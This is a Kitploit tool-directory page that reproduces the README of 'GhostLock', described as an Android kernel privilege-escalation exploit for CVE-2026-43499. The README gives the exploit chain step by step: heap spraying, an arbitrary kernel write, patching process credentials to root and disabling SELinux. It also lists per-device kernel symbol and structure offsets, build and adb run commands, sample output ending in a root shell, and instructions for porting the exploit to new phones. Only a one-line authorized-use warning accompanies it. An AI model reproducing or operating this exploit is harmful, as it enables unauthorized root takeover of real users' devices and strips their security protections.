Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyยฉ 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
GhostLock โ€” CVE-2026-43499 futex PI stack UAF ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ?????? | Kitploit
Tools/GitHubGitHub/wzhdgithub/ghostlock
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationReverse EngineeringBinary Exploitation
GitHubwzhdgithub/ghostlock

GhostLock

CVE-2026-43499 futex PI stack UAF ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ??????

View Repository
131141Aug 13, 2026Not yet reviewed
Share

GhostLock - CVE-2026-43499 Local Privilege Escalation Exploit

Vulnerability Overview

CVE ID: CVE-2026-43499
Vulnerability Type: futex PI (priority inheritance) stack UAF (Use-After-Free)
Affected Range: Linux kernel 6.1 ~ 6.12 (Android GKI)
Exploitation Impact: Local privilege escalation + SELinux disable, obtain root shell

How It Works

Vulnerability Trigger Path

็”จๆˆท็ฉบ้—ด โ†’ pselect() โ†’ ๅ†…ๆ ธๆ ˆไธŠๅˆ†้… rt_mutex_waiter
                      โ†’ futex PI ๆ“ไฝœ่งฆๅ‘ waiter ้‡Šๆ”พ
                      โ†’ ้‡Šๆ”พๅŽ็š„ waiter ๅ†…ๅญ˜่ขซ fd_set ๆ“ไฝœ้‡็”จ
                      โ†’ ้€š่ฟ‡็ฒพๅฟƒๆž„้€ ็š„ fd_set ๆ•ฐๆฎๆŽงๅˆถ waiter ๅญ—ๆฎต
                      โ†’ rb_erase() ่งฆๅ‘ไปปๆ„ๅ†…ๆ ธๅ†…ๅญ˜ๅ†™ๅ…ฅ

Exploit Chain

  1. Trigger: Race via pselect() + futex PI to free rt_mutex_waiter on the kernel stack
  2. Heap Layout Control: Spray the kernel heap with pipe_buffer to construct a fake rt_mutex_waiter
  3. Arbitrary Write: Use rb_erase() tree operations to write controlled pointers to target addresses
  4. Privilege Escalation:
    • Patch the cred structure: uid/gid โ†’ 0, capabilities โ†’ all enabled
    • Disable SELinux: selinux_state.enforcing โ†’ 0
  5. Verification: Rescan ashmem_fops to confirm CFI integrity

Project Structure

GhostLock/
โ”œโ”€โ”€ README.md                    # ๆœฌๆ–‡ๆกฃ
โ”œโ”€โ”€ src/
โ”‚   โ”œโ”€โ”€ core/                    # ๆ ธๅฟƒๅˆฉ็”จไปฃ็ 
โ”‚   โ”‚   โ”œโ”€โ”€ main.c               # ไธปๅ…ฅๅฃ๏ผŒๆผๆดž่งฆๅ‘
โ”‚   โ”‚   โ”œโ”€โ”€ pipe.c               # pipe_buffer ๅ–ทๅฐ„
โ”‚   โ”‚   โ”œโ”€โ”€ fops.c               # ๆ–‡ไปถๆ“ไฝœๅŠซๆŒ
โ”‚   โ”‚   โ”œโ”€โ”€ root.c               # ๆๆƒ + SELinux ็ฆ็”จ
โ”‚   โ”‚   โ”œโ”€โ”€ slide.c              # ๅ†…ๆ ธๅœฐๅ€้šๆœบๅŒ–ๅค„็†
โ”‚   โ”‚   โ”œโ”€โ”€ util.c               # ๅทฅๅ…ทๅ‡ฝๆ•ฐ
โ”‚   โ”‚   โ”œโ”€โ”€ miniadb.c            # ่ฟทไฝ  ADB ๆœๅŠกๅ™จ
โ”‚   โ”‚   โ”œโ”€โ”€ common.h             # ๅ…ฌๅ…ฑๅฎšไน‰
โ”‚   โ”‚   โ”œโ”€โ”€ target.h             # ็›ฎๆ ‡้…็ฝฎ
โ”‚   โ”‚   โ”œโ”€โ”€ offset.h             # ๅ็งป้‡ๅŒ…ๅซ
โ”‚   โ”‚   โ”œโ”€โ”€ runtime_offsets.h    # ่ฟ่กŒๆ—ถๅ็งป่กจ
โ”‚   โ”‚   โ””โ”€โ”€ kernelsnitch/        # ๅ†…ๆ ธๅœฐๅ€ๆŽขๆต‹
โ”‚   โ”‚       โ”œโ”€โ”€ kernelsnitch.h
โ”‚   โ”‚       โ”œโ”€โ”€ futex_hash.h
โ”‚   โ”‚       โ”œโ”€โ”€ utils.h
โ”‚   โ”‚       โ””โ”€โ”€ timeutils.h
โ”‚   โ””โ”€โ”€ devices/                 # ่ฎพๅค‡้€‚้…
โ”‚       โ”œโ”€โ”€ offsets.h            # ๅ็งป้‡็ป“ๆž„ๅฎšไน‰
โ”‚       โ”œโ”€โ”€ findx8/              # OPPO Find X8
โ”‚       โ”‚   โ””โ”€โ”€ offsets.h
โ”‚       โ”œโ”€โ”€ ace6t/               # OnePlus Ace 6T
โ”‚       โ”‚   โ””โ”€โ”€ offsets.h
โ”‚       โ”œโ”€โ”€ op15/                # OnePlus 15
โ”‚       โ”‚   โ””โ”€โ”€ offsets.h
โ”‚       โ”œโ”€โ”€ opd2502/             # OnePlus Pad 2
โ”‚       โ”‚   โ””โ”€โ”€ offsets.h
โ”‚       โ””โ”€โ”€ rmx5070/             # Realme RMX5070
โ”‚           โ””โ”€โ”€ offsets.h
โ”œโ”€โ”€ tools/                       # ่พ…ๅŠฉๅทฅๅ…ท
โ”‚   โ””โ”€โ”€ extract_btf.py           # BTF ๅ็งป้‡ๆๅ–่„šๆœฌ
โ”œโ”€โ”€ btf_*.py                     # BTF ๅˆ†ๆž่„šๆœฌ้›†ๅˆ
โ”œโ”€โ”€ Makefile                     # ๆž„ๅปบ่„šๆœฌ
โ”œโ”€โ”€ compile.cmd                  # Windows ็ผ–่ฏ‘่„šๆœฌ
โ”œโ”€โ”€ build.rsp                    # ็ผ–่ฏ‘ๅ“ๅบ”ๆ–‡ไปถ
โ””โ”€โ”€ ghostlock                    # ็ผ–่ฏ‘ไบง็‰ฉ๏ผˆELF aarch64๏ผ‰

Supported Devices

DeviceKernel VersionStatus
OPPO Find X8 (MT6991)6.6.118-android15โœ… Supported
OnePlus Ace 6T6.1.xโœ… Verified
OnePlus 156.1.xโœ… Verified
OnePlus Pad 26.1.xโœ… Verified
Realme RMX50706.1.xโœ… Verified

Compilation

Requirements

  • Android NDK r27c or later
  • Python 3.x (for BTF analysis)
  • Linux/macOS/WSL (Linux recommended)

Build Steps

# 1. ่ฎพ็ฝฎ NDK ่ทฏๅพ„
export ANDROID_NDK_HOME=/path/to/android-ndk-r27c

# 2. ็ผ–่ฏ‘
make

# 3. ๆˆ–่€…็›ดๆŽฅไฝฟ็”จ NDK ็ผ–่ฏ‘
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
  --target=aarch64-linux-android35 \
  -O2 -Wall -fPIE -pie -pthread \
  -Isrc/core -Isrc/devices \
  -DTARGET_CONFIG_H=\"target.h\" \
  src/core/*.c -o ghostlock

Windows Build

# ไฝฟ็”จๆไพ›็š„ compile.cmd
compile.cmd

Usage

Prerequisites

  1. USB debugging is enabled on the device
  2. ADB drivers are installed on the computer
  3. The device is connected to the computer via USB

Steps

# 1. ็กฎ่ฎค่ฎพๅค‡่ฟžๆŽฅ
adb devices

# 2. ็กฎ่ฎคๅ†…ๆ ธ็‰ˆๆœฌ๏ผˆๅฟ…้กปๅŒน้…๏ผ‰
adb shell uname -r
# ๆœŸๆœ›่พ“ๅ‡บ: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k

# 3. ๆŽจ้€ exploit ๅˆฐๆ‰‹ๆœบ
adb push ghostlock /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock

# 4. ่ฟ่กŒ exploit
adb shell /data/local/tmp/ghostlock

Example Run Output

[*] GhostLock - CVE-2026-43499 Local Privilege Escalation
[*] Target kernel: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
[*] KASLR base: 0xffffffc080000000
[*] ashmem_misc: 0xffffffc08227c518
[*] ashmem_fops: 0xffffffc0812ef5c0
[*] SELinux enforcing: 0xffffffc082358ee0
[*] Exploiting...
[+] PSELECT path activated
[+] Pipe merge path activated
[+] Root shell obtained!
[+] SELinux disabled
[*] miniadb listening on USB...

Success Indicators

  • # prompt appears (root shell)
  • id command shows uid=0(root)
  • getenforce returns Permissive

Technical Details

Kernel Memory Layout

KIMAGE_TEXT_BASE = 0xffffffc080000000  (Find X8)
PAGE_OFFSET      = 0xffffffc000000000
PHYS_OFFSET      = 0x40000000
DIRECT_MAP_END   = 0xffffffc400000000  (16GB RAM)

Key Symbol Offsets (Find X8)

SymbolOffset
init_task0x0211E280
init_cred0x02130748
selinux_enforcing0x02358EE0
ashmem_misc0x0227C518
ashmem_fops0x012EF5C0
kmalloc_caches0x0167A298

Structure Offsets (BTF Verified)

StructureFieldOffset
task_structcred0x820
task_structreal_cred0x818
task_structtasks0x550
task_structpi_lock0x90C
task_structseccomp0x8E8
creduid0x08
credcaps0x30
file_operationsioctl0x48
file_operationssplice_read0xB8

Exploit Path

  1. kernelsnitch - Scan the direct_map region to locate mm_struct
  2. pipe spray - Occupy the freed waiter memory with pipe_buffer
  3. pselect trigger - Trigger UAF to reuse the freed waiter
  4. rb_erase write - Achieve arbitrary write via red-black tree operations
  5. cred patch - Modify the current process credentials
  6. SELinux disable - Disable mandatory access control

Device Adaptation

Adding a New Device

  1. Extract the kernel image:

    # ไปŽๆ‰‹ๆœบๆๅ– boot.img
    adb pull /dev/block/by-name/boot boot.img
    
    # ๆˆ–่€…ไปŽๅ›บไปถๅŒ…ไธญๆๅ–
    
  2. Extract kallsyms:

    # ไฝฟ็”จ vmlinux-to-elf
    python3 -m vmlinux_to_elf boot.img
    # ้€‰ๆ‹ฉ "Extract kallsyms" ้€‰้กน
    
  3. Extract BTF information:

    python3 btf_task2.py > task_full.txt
    python3 btf_structs2.py > structs.txt
    
  4. Create a device entry:

    mkdir -p src/devices/mydevice
    # ๅคๅˆถ็Žฐๆœ‰ๆก็›ฎไฝœไธบๆจกๆฟ
    cp src/devices/findx8/offsets.h src/devices/mydevice/
    # ไฟฎๆ”นๅ็งป้‡
    
  5. Register the device: Add the following to src/devices/offsets.h:

    #include "mydevice/offsets.h"
    

Offset Acquisition Methods

InformationSourceTool
Symbol addresseskallsymsvmlinux-to-elf
Structure offsetsBTFbtf_task2.py
Physical memory layoutIKCONFIGextract-ikconfig
Kernel versionunameadb shell uname -r

Utility Scripts

BTF Analysis Scripts

# ๆๅ– task_struct ๅฎŒๆ•ดๆˆๅ‘˜
python3 btf_task2.py > task_full.txt

# ๆๅ–ๆ‰€ๆœ‰ๅ…ณ้”ฎ็ป“ๆž„ไฝ“
python3 btf_structs2.py > structs.txt

# ๆๅ–็‰นๅฎš็ป“ๆž„ไฝ“
python3 btf_selinux.py > selinux.txt
python3 btf_mm.py > mm.txt

# ๆๅ–ๅŽŸๅง‹ BTF ๆ•ฐๆฎ
python3 btf_raw.py > raw.txt

kallsyms Extraction

# ไฝฟ็”จ vmlinux-to-elf
python3 -m vmlinux_to_elf extracted/Image.bin

# ๆˆ–่€…ไฝฟ็”จ่‡ชๅฎšไน‰่„šๆœฌ
python3 run_kallsyms_finder.py

Security Notice

โš ๏ธ Warning: This tool is intended for security research and authorized testing only. Using it on others' devices without authorization is illegal.

Known Limitations

  • USB debugging must be enabled
  • ADB connection required (cannot be exploited remotely)
  • Kernel version must match exactly
  • Some devices may have additional security mechanisms

CFI Protection

Download Tool

Related Tools

  • Mobile-Security-Framework-MobSF

    Automated mobile application security testing framework for Android, iOS, and Windows. Performs static and dynamic analysis, malware detection, and API security testing with CI/CD integration.

  • jadx

    Command-line and GUI tool for decompiling Android Dex and APK files into readable Java source code, with resource decoding, deobfuscation, and Smali debugging capabilities.

  • Apktool

    A tool for reverse engineering Android apk files

Most Popular

View all โ†’

Discover the most used tools by our community.

  • 1

    Callisto

    jetp1ane/callisto

    Automated binary vulnerability analysis tool that decompiles executables via Ghidra, scans pseudo-C code with Semgrep, and validates findings using GPT-3.5-Turbo to reduce false positives.

    2.3k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    One-tap Android kernel exploit app for CVE-2026-43499, providing privilege escalation via kernel module loading, with offset extraction and on-device analysis tools.

    843
  • 3

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    445
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    387
  • 5

    OsintHunter

    letox4/osinthunter

    ๐ŸŽฏ The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    352
  • 6

    faraday

    infobyte/faraday

    Open-source and AI-powered cybersecurity tools for offensive security, vulnerability management, and autonomous pentesting. Built by hackers in Latin America, used worldwide.

    344

Explore all tools

Browse our collection of tools

View all tools โ†’